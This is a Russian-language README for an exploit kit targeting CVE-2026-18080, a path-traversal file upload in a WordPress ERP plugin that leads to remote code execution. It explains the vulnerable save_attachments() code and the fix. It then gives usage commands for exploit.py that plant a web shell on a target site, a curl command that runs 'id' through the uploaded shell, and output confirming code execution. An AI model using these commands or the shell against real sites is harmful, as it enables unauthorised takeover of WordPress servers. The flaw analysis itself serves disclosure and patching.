
Эксплойт для CVE-2026-18080 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода (RCE) в ERP Complete HR, Accounting & CRM Suite. Включает скрипты на Python и PHP для автоматизированной эксплуатации.
| Поле | Значение |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Патч | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Критический) |
| CWE | CWE-434 (Неограниченная загрузка файлов опасного типа) |
| Затронуто | Версии плагина ERP <= 1.17.7 (исправлено в 1.17.8) |
Функция save_attachments() плагина ERP в GmailSync.php обрабатывает входящие вложения электронной почты из IMAP без нормализации пути. Злоумышленник может создать письмо с именем файла вида ../../plugins/shell.php и подделанным заголовком References, соответствующим ожидаемому шаблону плагина. Фоновая задача синхронизации IMAP по cron записывает файл за пределы защищённой .htaccess директории crm-attachments/ в любой доступный для записи путь внутри wp-content/.
В GmailSync.php (v1.17.7):
$name = $item['name']; // Нет basename() или нормализации пути
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
Имя файла ../../plugins/shell.php, объединённое с $dir (wp-content/uploads/crm-attachments/), преобразуется в wp-content/plugins/shell.php — директорию, где разрешено выполнение PHP.
Исправление (v1.17.8) добавляет sanitize_attachment_filename(), которая удаляет компоненты пути через basename(), отклоняет разделители пути и блокирует опасные расширения.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
После успешной загрузки:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| Файл | Описание |
|---|---|
exploit.py | Python-скрипт эксплойта с использованием wp-cli |
exploit.php | Автономный PHP-эксплойт для wp eval-file |
README.md | Этот файл |